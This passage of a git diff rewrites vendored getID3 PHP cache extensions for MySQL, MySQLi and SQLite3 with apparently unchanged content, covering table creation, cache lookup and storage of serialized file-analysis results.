$analysis = parent::analyze($filename, $filesize, $original_filename, $fp); + + // Save result + if (file_exists($filename)) { + $SQLquery = 'INSERT INTO `'.mysql_real_escape_string($this->table).'` (`filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES ('; + $SQLquery .= '\''.mysql_real_escape_string($filename).'\''; + $SQLquery .= ', \''.mysql_real_escape_string($filesize).'\''; + $SQLquery .= ', \''.mysql_real_escape_string($filetime).'\''; + $SQLquery .= ', \''.mysql_real_escape_string(time() ).'\''; + $SQLquery .= ', \''.mysql_real_escape_string(base64_encode(serialize($analysis))).'\')'; + $this->cursor = mysql_query($SQLquery, $this->connection); + } + return $analysis; + } + + + + /** + * (re)create sql table + * + * @param bool $drop + */ + private function create_table($drop=false) { + + $SQLquery = 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($this->table).'` ('; + $SQLquery .= '`filename` VARCHAR(990) NOT NULL DEFAULT \'\''; + $SQLquery .= ', `filesize` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `filetime` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `analyzetime` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `value` LONGTEXT NOT NULL'; + $SQLquery .= ', PRIMARY KEY (`filename`, `filesize`, `filetime`))'; + $this->cursor = mysql_query($SQLquery, $this->connection); + echo mysql_error($this->connection); + } +} diff --git a/vendor/james-heinrich/getid3/getid3/extension.cache.mysqli.php b/vendor/james-heinrich/getid3/getid3/extension.cache.mysqli.php index 2b5c2739be..cee2c53d58 100644 --- a/vendor/james-heinrich/getid3/getid3/extension.cache.mysqli.php +++ b/vendor/james-heinrich/getid3/getid3/extension.cache.mysqli.php @@ -1,263 +1,263 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// extension.cache.mysqli.php - part of getID3() // -// Please see readme.txt for more information // -// // -///////////////////////////////////////////////////////////////// -// // -// This extension written by Allan Hansen // -// Table name mod by Carlo Capocasa // -// /// -///////////////////////////////////////////////////////////////// - - -/** -* This is a caching extension for getID3(). It works the exact same -* way as the getID3 class, but return cached information very fast -* -* Example: (see also demo.cache.mysql.php in /demo/) -* -* Normal getID3 usage (example): -* -* require_once 'getid3/getid3.php'; -* $getID3 = new getID3; -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* getID3_cached usage: -* -* require_once 'getid3/getid3.php'; -* require_once 'getid3/getid3/extension.cache.mysqli.php'; -* // 5th parameter (tablename) is optional, default is 'getid3_cache' -* $getID3 = new getID3_cached_mysqli('localhost', 'database', 'username', 'password', 'tablename'); -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* -* Supported Cache Types (this extension) -* -* SQL Databases: -* -* cache_type cache_options -* ------------------------------------------------------------------- -* mysqli host, database, username, password -* -* -* DBM-Style Databases: (use extension.cache.dbm) -* -* cache_type cache_options -* ------------------------------------------------------------------- -* gdbm dbm_filename, lock_filename -* ndbm dbm_filename, lock_filename -* db2 dbm_filename, lock_filename -* db3 dbm_filename, lock_filename -* db4 dbm_filename, lock_filename (PHP5 required) -* -* PHP must have write access to both dbm_filename and lock_filename. -* -* -* Recommended Cache Types -* -* Infrequent updates, many reads any DBM -* Frequent updates mysqli -*/ - -class getID3_cached_mysqli extends getID3 -{ - /** - * @var mysqli - */ - private $mysqli; - - /** - * @var mysqli_result - */ - private $cursor; - - /** - * @var string - */ - private $table; - - /** - * @var bool - */ - private $db_structure_check; - - - /** - * constructor - see top of this file for cache type and cache_options - * - * @param string $host - * @param string $database - * @param string $username - * @param string $password - * @param string $table - * - * @throws Exception - * @throws getid3_exception - */ - public function __construct($host, $database, $username, $password, $table='getid3_cache') { - - // Check for mysqli support - if (!function_exists('mysqli_connect')) { - throw new Exception('PHP not compiled with mysqli support.'); - } - - // Connect to database - $this->mysqli = new mysqli($host, $username, $password); - if ($this->mysqli->connect_error) { - throw new Exception('Connect Error (' . $this->mysqli->connect_errno . ') ' . $this->mysqli->connect_error); - } - - // Select database - if (!$this->mysqli->select_db($database)) { - throw new Exception('Cannot use database '.$database); - } - - // Set table - $this->table = $table; - - // Create cache table if not exists - $this->create_table(); - - $this->db_structure_check = true; // set to false if you know your table structure has already been migrated to use `hash` as the primary key to avoid - $this->migrate_db_structure(); - - // Check version number and clear cache if changed - $version = ''; - $SQLquery = 'SELECT `value`'; - $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; - $SQLquery .= ' WHERE (`filename` = \''.$this->mysqli->real_escape_string(getID3::VERSION).'\')'; - $SQLquery .= ' AND (`hash` = \'getID3::VERSION\')'; - if ($this->cursor = $this->mysqli->query($SQLquery)) { - list($version) = $this->cursor->fetch_array(); - } - if ($version != getID3::VERSION) { - $this->clear_cache(); - } - - parent::__construct(); - } - - - /** - * clear cache - */ - public function clear_cache() { - $this->mysqli->query('TRUNCATE TABLE `'.$this->mysqli->real_escape_string($this->table).'`'); - $this->mysqli->query('INSERT INTO `'.$this->mysqli->real_escape_string($this->table).'` (`hash`, `filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES (\'getID3::VERSION\', \''.getID3::VERSION.'\', -1, -1, -1, \''.getID3::VERSION.'\')'); - } - - - /** - * migrate database structure if needed - */ - public function migrate_db_structure() { - // Check for table structure - if ($this->db_structure_check) { - $SQLquery = 'SHOW COLUMNS'; - $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; - $SQLquery .= ' LIKE \'hash\''; - $this->cursor = $this->mysqli->query($SQLquery); - if ($this->cursor->num_rows == 0) { - // table has not been migrated, add column, add hashes, change index - $SQLquery = 'ALTER TABLE `getid3_cache` DROP PRIMARY KEY, ADD `hash` CHAR(32) NOT NULL DEFAULT \'\' FIRST, ADD PRIMARY KEY(`hash`)'; - $this->mysqli->query($SQLquery); - - $SQLquery = 'UPDATE `getid3_cache` SET'; - $SQLquery .= ' `hash` = MD5(`filename`, `filesize`, `filetime`)'; - $SQLquery .= ' WHERE (`filesize` > -1)'; - $this->mysqli->query($SQLquery); - - $SQLquery = 'UPDATE `getid3_cache` SET'; - $SQLquery .= ' `hash` = \'getID3::VERSION\''; - $SQLquery .= ' WHERE (`filesize` = -1)'; - $SQLquery .= ' AND (`filetime` = -1)'; - $SQLquery .= ' AND (`filetime` = -1)'; - $this->mysqli->query($SQLquery); - } - } - } - - - /** - * analyze file - * - * @param string $filename - * @param int $filesize - * @param string $original_filename - * @param resource $fp - * - * @return mixed - */ - public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { - - $filetime = 0; - if (file_exists($filename)) { - - // Short-hands - $filetime = filemtime($filename); - $filesize = filesize($filename); - - // Lookup file - $SQLquery = 'SELECT `value`'; - $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; - $SQLquery .= ' WHERE (`hash` = \''.$this->mysqli->real_escape_string(md5($filename.$filesize.$filetime)).'\')'; - $this->cursor = $this->mysqli->query($SQLquery); - if ($this->cursor->num_rows > 0) { - // Hit - list($result) = $this->cursor->fetch_array(); - return unserialize(base64_decode($result)); - } - } - - // Miss - $analysis = parent::analyze($filename, $filesize, $original_filename, $fp); - - // Save result - if (file_exists($filename)) { - $SQLquery = 'INSERT INTO `'.$this->mysqli->real_escape_string($this->table).'` (`hash`, `filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES ('; - $SQLquery .= '\''.$this->mysqli->real_escape_string(md5($filename.$filesize.$filetime)).'\''; - $SQLquery .= ', \''.$this->mysqli->real_escape_string($filename).'\''; - $SQLquery .= ', \''.$this->mysqli->real_escape_string($filesize).'\''; - $SQLquery .= ', \''.$this->mysqli->real_escape_string($filetime).'\''; - $SQLquery .= ', UNIX_TIMESTAMP()'; - $SQLquery .= ', \''.$this->mysqli->real_escape_string(base64_encode(serialize($analysis))).'\''; - $SQLquery .= ')'; - $this->cursor = $this->mysqli->query($SQLquery); - } - return $analysis; - } - - - /** - * (re)create mysqli table - * - * @param bool $drop - */ - private function create_table($drop=false) { - if ($drop) { - $SQLquery = 'DROP TABLE IF EXISTS `'.$this->mysqli->real_escape_string($this->table).'`'; - $this->mysqli->query($SQLquery); - } - $SQLquery = 'CREATE TABLE IF NOT EXISTS `'.$this->mysqli->real_escape_string($this->table).'` ('; - $SQLquery .= '`hash` CHAR(32) NOT NULL DEFAULT \'\''; - $SQLquery .= ', `filename` VARCHAR(1000) NOT NULL DEFAULT \'\''; - $SQLquery .= ', `filesize` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `filetime` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `analyzetime` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `value` LONGTEXT NOT NULL'; - $SQLquery .= ', PRIMARY KEY (`hash`))'; - $this->cursor = $this->mysqli->query($SQLquery); - echo $this->mysqli->error; - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// extension.cache.mysqli.php - part of getID3() // +// Please see readme.txt for more information // +// // +///////////////////////////////////////////////////////////////// +// // +// This extension written by Allan Hansen // +// Table name mod by Carlo Capocasa // +// /// +///////////////////////////////////////////////////////////////// + + +/** +* This is a caching extension for getID3(). It works the exact same +* way as the getID3 class, but return cached information very fast +* +* Example: (see also demo.cache.mysql.php in /demo/) +* +* Normal getID3 usage (example): +* +* require_once 'getid3/getid3.php'; +* $getID3 = new getID3; +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* getID3_cached usage: +* +* require_once 'getid3/getid3.php'; +* require_once 'getid3/getid3/extension.cache.mysqli.php'; +* // 5th parameter (tablename) is optional, default is 'getid3_cache' +* $getID3 = new getID3_cached_mysqli('localhost', 'database', 'username', 'password', 'tablename'); +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* +* Supported Cache Types (this extension) +* +* SQL Databases: +* +* cache_type cache_options +* ------------------------------------------------------------------- +* mysqli host, database, username, password +* +* +* DBM-Style Databases: (use extension.cache.dbm) +* +* cache_type cache_options +* ------------------------------------------------------------------- +* gdbm dbm_filename, lock_filename +* ndbm dbm_filename, lock_filename +* db2 dbm_filename, lock_filename +* db3 dbm_filename, lock_filename +* db4 dbm_filename, lock_filename (PHP5 required) +* +* PHP must have write access to both dbm_filename and lock_filename. +* +* +* Recommended Cache Types +* +* Infrequent updates, many reads any DBM +* Frequent updates mysqli +*/ + +class getID3_cached_mysqli extends getID3 +{ + /** + * @var mysqli + */ + private $mysqli; + + /** + * @var mysqli_result + */ + private $cursor; + + /** + * @var string + */ + private $table; + + /** + * @var bool + */ + private $db_structure_check; + + + /** + * constructor - see top of this file for cache type and cache_options + * + * @param string $host + * @param string $database + * @param string $username + * @param string $password + * @param string $table + * + * @throws Exception + * @throws getid3_exception + */ + public function __construct($host, $database, $username, $password, $table='getid3_cache') { + + // Check for mysqli support + if (!function_exists('mysqli_connect')) { + throw new Exception('PHP not compiled with mysqli support.'); + } + + // Connect to database + $this->mysqli = new mysqli($host, $username, $password); + if ($this->mysqli->connect_error) { + throw new Exception('Connect Error (' . $this->mysqli->connect_errno . ') ' . $this->mysqli->connect_error); + } + + // Select database + if (!$this->mysqli->select_db($database)) { + throw new Exception('Cannot use database '.$database); + } + + // Set table + $this->table = $table; + + // Create cache table if not exists + $this->create_table(); + + $this->db_structure_check = true; // set to false if you know your table structure has already been migrated to use `hash` as the primary key to avoid + $this->migrate_db_structure(); + + // Check version number and clear cache if changed + $version = ''; + $SQLquery = 'SELECT `value`'; + $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; + $SQLquery .= ' WHERE (`filename` = \''.$this->mysqli->real_escape_string(getID3::VERSION).'\')'; + $SQLquery .= ' AND (`hash` = \'getID3::VERSION\')'; + if ($this->cursor = $this->mysqli->query($SQLquery)) { + list($version) = $this->cursor->fetch_array(); + } + if ($version != getID3::VERSION) { + $this->clear_cache(); + } + + parent::__construct(); + } + + + /** + * clear cache + */ + public function clear_cache() { + $this->mysqli->query('TRUNCATE TABLE `'.$this->mysqli->real_escape_string($this->table).'`'); + $this->mysqli->query('INSERT INTO `'.$this->mysqli->real_escape_string($this->table).'` (`hash`, `filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES (\'getID3::VERSION\', \''.getID3::VERSION.'\', -1, -1, -1, \''.getID3::VERSION.'\')'); + } + + + /** + * migrate database structure if needed + */ + public function migrate_db_structure() { + // Check for table structure + if ($this->db_structure_check) { + $SQLquery = 'SHOW COLUMNS'; + $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; + $SQLquery .= ' LIKE \'hash\''; + $this->cursor = $this->mysqli->query($SQLquery); + if ($this->cursor->num_rows == 0) { + // table has not been migrated, add column, add hashes, change index + $SQLquery = 'ALTER TABLE `getid3_cache` DROP PRIMARY KEY, ADD `hash` CHAR(32) NOT NULL DEFAULT \'\' FIRST, ADD PRIMARY KEY(`hash`)'; + $this->mysqli->query($SQLquery); + + $SQLquery = 'UPDATE `getid3_cache` SET'; + $SQLquery .= ' `hash` = MD5(`filename`, `filesize`, `filetime`)'; + $SQLquery .= ' WHERE (`filesize` > -1)'; + $this->mysqli->query($SQLquery); + + $SQLquery = 'UPDATE `getid3_cache` SET'; + $SQLquery .= ' `hash` = \'getID3::VERSION\''; + $SQLquery .= ' WHERE (`filesize` = -1)'; + $SQLquery .= ' AND (`filetime` = -1)'; + $SQLquery .= ' AND (`filetime` = -1)'; + $this->mysqli->query($SQLquery); + } + } + } + + + /** + * analyze file + * + * @param string $filename + * @param int $filesize + * @param string $original_filename + * @param resource $fp + * + * @return mixed + */ + public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { + + $filetime = 0; + if (file_exists($filename)) { + + // Short-hands + $filetime = filemtime($filename); + $filesize = filesize($filename); + + // Lookup file + $SQLquery = 'SELECT `value`'; + $SQLquery .= ' FROM `'.$this->mysqli->real_escape_string($this->table).'`'; + $SQLquery .= ' WHERE (`hash` = \''.$this->mysqli->real_escape_string(md5($filename.$filesize.$filetime)).'\')'; + $this->cursor = $this->mysqli->query($SQLquery); + if ($this->cursor->num_rows > 0) { + // Hit + list($result) = $this->cursor->fetch_array(); + return unserialize(base64_decode($result)); + } + } + + // Miss + $analysis = parent::analyze($filename, $filesize, $original_filename, $fp); + + // Save result + if (file_exists($filename)) { + $SQLquery = 'INSERT INTO `'.$this->mysqli->real_escape_string($this->table).'` (`hash`, `filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES ('; + $SQLquery .= '\''.$this->mysqli->real_escape_string(md5($filename.$filesize.$filetime)).'\''; + $SQLquery .= ', \''.$this->mysqli->real_escape_string($filename).'\''; + $SQLquery .= ', \''.$this->mysqli->real_escape_string($filesize).'\''; + $SQLquery .= ', \''.$this->mysqli->real_escape_string($filetime).'\''; + $SQLquery .= ', UNIX_TIMESTAMP()'; + $SQLquery .= ', \''.$this->mysqli->real_escape_string(base64_encode(serialize($analysis))).'\''; + $SQLquery .= ')'; + $this->cursor = $this->mysqli->query($SQLquery); + } + return $analysis; + } + + + /** + * (re)create mysqli table + * + * @param bool $drop + */ + private function create_table($drop=false) { + if ($drop) { + $SQLquery = 'DROP TABLE IF EXISTS `'.$this->mysqli->real_escape_string($this->table).'`'; + $this->mysqli->query($SQLquery); + } + $SQLquery = 'CREATE TABLE IF NOT EXISTS `'.$this->mysqli->real_escape_string($this->table).'` ('; + $SQLquery .= '`hash` CHAR(32) NOT NULL DEFAULT \'\''; + $SQLquery .= ', `filename` VARCHAR(1000) NOT NULL DEFAULT \'\''; + $SQLquery .= ', `filesize` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `filetime` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `analyzetime` INT(11) NOT NULL DEFAULT \'0\''; + $SQLquery .= ', `value` LONGTEXT NOT NULL'; + $SQLquery .= ', PRIMARY KEY (`hash`))'; + $this->cursor = $this->mysqli->query($SQLquery); + echo $this->mysqli->error; + } +} diff --git a/vendor/james-heinrich/getid3/getid3/extension.cache.sqlite3.php b/vendor/james-heinrich/getid3/getid3/extension.cache.sqlite3.php index 81b6c49543..dbcc72aada 100644 --- a/vendor/james-heinrich/getid3/getid3/extension.cache.sqlite3.php +++ b/vendor/james-heinrich/getid3/getid3/extension.cache.sqlite3.php @@ -1,297 +1,297 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// extension.cache.mysqli.php - part of getID3() // -// Please see readme.txt for more information // -// // -///////////////////////////////////////////////////////////////// -// // -// extension.cache.sqlite3.php - part of getID3() // -// Please see readme.txt for more information // -// // -///////////////////////////////////////////////////////////////// -/// // -// MySQL extension written by Allan Hansen // -// Table name mod by Carlo Capocasa // -// MySQL extension was reworked for SQLite3 by // -// Karl G. Holz // -// /// -///////////////////////////////////////////////////////////////// - -/** -* This is a caching extension for getID3(). It works the exact same -* way as the getID3 class, but return cached information much faster -* -* Normal getID3 usage (example): -* -* require_once 'getid3/getid3.php'; -* $getID3 = new getID3; -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* getID3_cached usage: -* -* require_once 'getid3/getid3.php'; -* require_once 'getid3/extension.cache.sqlite3.php'; -* // all parameters are optional, defaults are: -* $getID3 = new getID3_cached_sqlite3($table='getid3_cache', $hide=FALSE); -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* -* Supported Cache Types (this extension) -* -* SQL Databases: -* -* cache_type cache_options -* ------------------------------------------------------------------- -* mysql host, database, username, password -* -* sqlite3 table='getid3_cache', hide=false (PHP5) -* -* -* *** database file will be stored in the same directory as this script, -* *** webserver must have write access to that directory! -* *** set $hide to TRUE to prefix db file with .ht to pervent access from web client -* *** this is a default setting in the Apache configuration: -* -* The following lines prevent .htaccess and .htpasswd files from being viewed by Web clients. -* -* -* Order allow,deny -* Deny from all -* Satisfy all -* -* -******************************************************************************** -* -* ------------------------------------------------------------------- -* DBM-Style Databases: (use extension.cache.dbm) -* -* cache_type cache_options -* ------------------------------------------------------------------- -* gdbm dbm_filename, lock_filename -* ndbm dbm_filename, lock_filename -* db2 dbm_filename, lock_filename -* db3 dbm_filename, lock_filename -* db4 dbm_filename, lock_filename (PHP5 required) -* -* PHP must have write access to both dbm_filename and lock_filename. -* -* Recommended Cache Types -* -* Infrequent updates, many reads any DBM -* Frequent updates mysql -******************************************************************************** -* -* IMHO this is still a bit slow, I'm using this with MP4/MOV/ M4v files -* there is a plan to add directory scanning and analyzing to make things work much faster -* -* -*/ -class getID3_cached_sqlite3 extends getID3 -{ - /** - * hold the sqlite db - * - * @var SQLite3 Resource - */ - private $db; - - /** - * table to use for caching - * - * @var string $table - */ - private $table; - - /** - * @param string $table holds name of sqlite table - * @param boolean $hide - * - * @throws getid3_exception - * @throws Exception - */ - public function __construct($table='getid3_cache', $hide=false) { - // Check for SQLite3 support - if (!function_exists('sqlite_open')) { - throw new Exception('PHP not compiled with SQLite3 support.'); - } - - $this->table = $table; // Set table - $file = dirname(__FILE__).'/'.basename(__FILE__, 'php').'sqlite'; - if ($hide) { - $file = dirname(__FILE__).'/.ht.'.basename(__FILE__, 'php').'sqlite'; - } - $this->db = new SQLite3($file); - $db = $this->db; - $this->create_table(); // Create cache table if not exists - $version = ''; - $sql = $this->getQuery('version_check'); - $stmt = $db->prepare($sql); - $stmt->bindValue(':filename', getID3::VERSION, SQLITE3_TEXT); - $result = $stmt->execute(); - list($version) = $result->fetchArray(); - if ($version != getID3::VERSION) { // Check version number and clear cache if changed - $this->clear_cache(); - } - parent::__construct(); - } - - /** - * close the database connection - */ - public function __destruct() { - $db=$this->db; - $db->close(); - } - - /** - * clear the cache - * - * @return SQLite3Result - */ - private function clear_cache() { - $db = $this->db; - $sql = $this->getQuery('delete_cache'); - $db->exec($sql); - $sql = $this->getQuery('set_version'); - $stmt = $db->prepare($sql); - $stmt->bindValue(':filename', getID3::VERSION, SQLITE3_TEXT); - $stmt->bindValue(':dirname', getID3::VERSION, SQLITE3_TEXT); - $stmt->bindValue(':val', getID3::VERSION, SQLITE3_TEXT); - return $stmt->execute(); - } - - /** - * analyze file and cache them, if cached pull from the db - * - * @param string $filename - * @param integer $filesize - * @param string $original_filename - * @param resource $fp - * - * @return mixed|false - */ - public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { - if (!file_exists($filename)) { - return false; - } - // items to track for caching - $filetime = filemtime($filename); - $filesize_real = filesize($filename); - // this will be saved for a quick directory lookup of analized files - // ... why do 50 seperate sql quries when you can do 1 for the same result - $dirname = dirname($filename); - // Lookup file - $db = $this->db; - $sql = $this->getQuery('get_id3_data'); - $stmt = $db->prepare($sql); - $stmt->bindValue(':filename', $filename, SQLITE3_TEXT); - $stmt->bindValue(':filesize', $filesize_real, SQLITE3_INTEGER); - $stmt->bindValue(':filetime', $filetime, SQLITE3_INTEGER); - $res = $stmt->execute(); - list($result) = $res->fetchArray(); - if (count($result) > 0 ) { - return unserialize(base64_decode($result)); - } - // if it hasn't been analyzed before, then do it now - $analysis = parent::analyze($filename, $filesize, $original_filename, $fp); - // Save result - $sql = $this->getQuery('cache_file'); - $stmt = $db->prepare($sql); - $stmt->bindValue(':filename', $filename, SQLITE3_TEXT); - $stmt->bindValue(':dirname', $dirname, SQLITE3_TEXT); - $stmt->bindValue(':filesize', $filesize_real, SQLITE3_INTEGER); - $stmt->bindValue(':filetime', $filetime, SQLITE3_INTEGER); - $stmt->bindValue(':atime', time(), SQLITE3_INTEGER); - $stmt->bindValue(':val', base64_encode(serialize($analysis)), SQLITE3_TEXT); - $res = $stmt->execute(); - return $analysis; - } - - /** - * create data base table - * this is almost the same as MySQL, with the exception of the dirname being added - * - * @return bool - */ - private function create_table() { - $db = $this->db; - $sql = $this->getQuery('make_table'); - return $db->exec($sql); - } - - /** - * get cached directory - * - * This function is not in the MySQL extention, it's ment to speed up requesting multiple files - * which is ideal for podcasting, playlists, etc. - * - * @param string $dir directory to search the cache database for - * - * @return array return an array of matching id3 data - */ - public function get_cached_dir($dir) { - $db = $this->db; - $rows = array(); - $sql = $this->getQuery('get_cached_dir'); - $stmt = $db->prepare($sql); - $stmt->bindValue(':dirname', $dir, SQLITE3_TEXT); - $res = $stmt->execute(); - while ($row=$res->fetchArray()) { - $rows[] = unserialize(base64_decode($row)); - } - return $rows; - } - - /** - * returns NULL if query is not found - * - * @param string $name - * - * @return null|string - */ - public function getQuery($name) - { - switch ($name) { - case 'version_check': - return "SELECT val FROM $this->table WHERE filename = :filename AND filesize = '-1' AND filetime = '-1' AND analyzetime = '-1'"; - case 'delete_cache': - return "DELETE FROM $this->table"; - case 'set_version': - return "INSERT INTO $this->table (filename, dirname, filesize, filetime, analyzetime, val) VALUES (:filename, :dirname, -1, -1, -1, :val)"; - case 'get_id3_data': - return "SELECT val FROM $this->table WHERE filename = :filename AND filesize = :filesize AND filetime = :filetime"; - case 'cache_file': - return "INSERT INTO $this->table (filename, dirname, filesize, filetime, analyzetime, val) VALUES (:filename, :dirname, :filesize, :filetime, :atime, :val)"; - case 'make_table': - return "CREATE TABLE IF NOT EXISTS $this->table (filename VARCHAR(255) DEFAULT '', dirname VARCHAR(255) DEFAULT '', filesize INT(11) DEFAULT '0', filetime INT(11) DEFAULT '0', analyzetime INT(11) DEFAULT '0', val text, PRIMARY KEY (filename, filesize, filetime))"; - case 'get_cached_dir': - return "SELECT val FROM $this->table WHERE dirname = :dirname"; - default: - return null; - } - } - - /** - * use the magical __get() for sql queries - * - * access as easy as $this->{case name}, returns NULL if query is not found - * - * @param string $name - * - * @return string - * @deprecated use getQuery() instead - */ - public function __get($name) { - return $this->getQuery($name); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// extension.cache.mysqli.php - part of getID3() // +// Please see readme.txt for more information // +// // +///////////////////////////////////////////////////////////////// +// // +// extension.cache.sqlite3.php - part of getID3() // +// Please see readme.txt for more information // +// // +///////////////////////////////////////////////////////////////// +/// // +// MySQL extension written by Allan Hansen // +// Table name mod by Carlo Capocasa // +// MySQL extension was reworked for SQLite3 by // +// Karl G. Holz // +// /// +///////////////////////////////////////////////////////////////// + +/** +* This is a caching extension for getID3(). It works the exact same +* way as the getID3 class, but return cached information much faster +* +* Normal getID3 usage (example): +* +* require_once 'getid3/getid3.php'; +* $getID3 = new getID3; +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* getID3_cached usage: +* +* require_once 'getid3/getid3.php'; +* require_once 'getid3/extension.cache.sqlite3.php'; +* // all parameters are optional, defaults are: +* $getID3 = new getID3_cached_sqlite3($table='getid3_cache', $hide=FALSE); +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* +* Supported Cache Types (this extension) +* +* SQL Databases: +* +* cache_type cache_options +* ------------------------------------------------------------------- +* mysql host, database, username, password +* +* sqlite3 table='getid3_cache', hide=false (PHP5) +* +* +* *** database file will be stored in the same directory as this script, +* *** webserver must have write access to that directory! +* *** set $hide to TRUE to prefix db file with .ht to pervent access from web client +* *** this is a default setting in the Apache configuration: +* +* The following lines prevent .htaccess and .htpasswd files from being viewed by Web clients. +* +* +* Order allow,deny +* Deny from all +* Satisfy all +* +* +******************************************************************************** +* +* ------------------------------------------------------------------- +* DBM-Style Databases: (use extension.cache.dbm) +* +* cache_type cache_options +* ------------------------------------------------------------------- +* gdbm dbm_filename, lock_filename +* ndbm dbm_filename, lock_filename +* db2 dbm_filename, lock_filename +* db3 dbm_filename, lock_filename +* db4 dbm_filename, lock_filename (PHP5 required) +* +* PHP must have write access to both dbm_filename and lock_filename. +* +* Recommended Cache Types +* +* Infrequent updates, many reads any DBM +* Frequent updates mysql +******************************************************************************** +* +* IMHO this is still a bit slow, I'm using this with MP4/MOV/ M4v files +* there is a plan to add directory scanning and analyzing to make things work much faster +* +* +*/ +class getID3_cached_sqlite3 extends getID3 +{ + /** + * hold the sqlite db + * + * @var SQLite3 Resource + */ + private $db; + + /** + * table to use for caching + * + * @var string $table + */ + private $table; + + /** + * @param string $table holds name of sqlite table + * @param boolean $hide + * + * @throws getid3_exception + * @throws Exception + */ + public function __construct($table='getid3_cache', $hide=false) { + // Check for SQLite3 support + if (!function_exists('sqlite_open')) { + throw new Exception('PHP not compiled with SQLite3 support.'); + } + + $this->table = $table; // Set table + $file = dirname(__FILE__).'/'.basename(__FILE__, 'php').'sqlite'; + if ($hide) { + $file = dirname(__FILE__).'/.ht.'.basename(__FILE__, 'php').'sqlite'; + } + $this->db = new SQLite3($file); + $db = $this->db; + $this->create_table(); // Create cache table if not exists + $version = ''; + $sql = $this->getQuery('version_check'); + $stmt = $db->prepare($sql); + $stmt->bindValue(':filename', getID3::VERSION, SQLITE3_TEXT); + $result = $stmt->execute(); + list($version) = $result->fetchArray(); + if ($version != getID3::VERSION) { // Check version number and clear cache if changed + $this->clear_cache(); + } + parent::__construct(); + } + + /** + * close the database connection + */ + public function __destruct() { + $db=$this->db; + $db->close(); + } + + /** + * clear the cache + * + * @return SQLite3Result + */ + private function clear_cache() { + $db = $this->db; + $sql = $this->getQuery('delete_cache'); + $db->exec($sql); + $sql = $this->getQuery('set_version'); + $stmt = $db->prepare($sql); + $stmt->bindValue(':filename', getID3::VERSION, SQLITE3_TEXT); + $stmt->bindValue(':dirname', getID3::VERSION, SQLITE3_TEXT); + $stmt->bindValue(':val', getID3::VERSION, SQLITE3_TEXT); + return $stmt->execute(); + } + + /** + * analyze file and cache them, if cached pull from the db + * + * @param string $filename + * @param integer $filesize + * @param string $original_filename + * @param resource $fp + * + * @return mixed|false + */ + public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { + if (!file_exists($filename)) { + return false; + } + // items to track for caching + $filetime = filemtime($filename); + $filesize_real = filesize($filename); + // this will be saved for a quick directory lookup of analized files + // ... why do 50 seperate sql quries when you can do 1 for the same result + $dirname = dirname($filename); + // Lookup file + $db = $this->db; + $sql = $this->getQuery('get_id3_data'); + $stmt = $db->prepare($sql); + $stmt->bindValue(':filename', $filename, SQLITE3_TEXT); + $stmt->bindValue(':filesize', $filesize_real, SQLITE3_INTEGER); + $stmt->bindValue(':filetime', $filetime, SQLITE3_INTEGER); + $res = $stmt->execute(); + list($result) = $res->fetchArray(); + if (count($result) > 0 ) { + return unserialize(base64_decode($result)); + } + // if it hasn't been analyzed before, then do it now + $analysis = parent::analyze($filename, $filesize, $original_filename, $fp); + // Save result + $sql = $this->getQuery('cache_file'); + $stmt = $db->prepare($sql); + $stmt->bindValue(':filename', $filename, SQLITE3_TEXT); + $stmt->bindValue(':dirname', $dirname, SQLITE3_TEXT); + $stmt->bindValue(':filesize', $filesize_real, SQLITE3_INTEGER); + $stmt->bindValue(':filetime', $filetime, SQLITE3_INTEGER); + $stmt->bindValue(':atime', time(), SQLITE3_INTEGER); + $stmt->bindValue(':val', base64_encode(serialize($analysis)), SQLITE3_TEXT); + $res = $stmt->execute(); + return $analysis; + } + + /** + * create data base table + * this is almost the same as MySQL, with the exception of the dirname being added + * + * @return bool + */ + private function 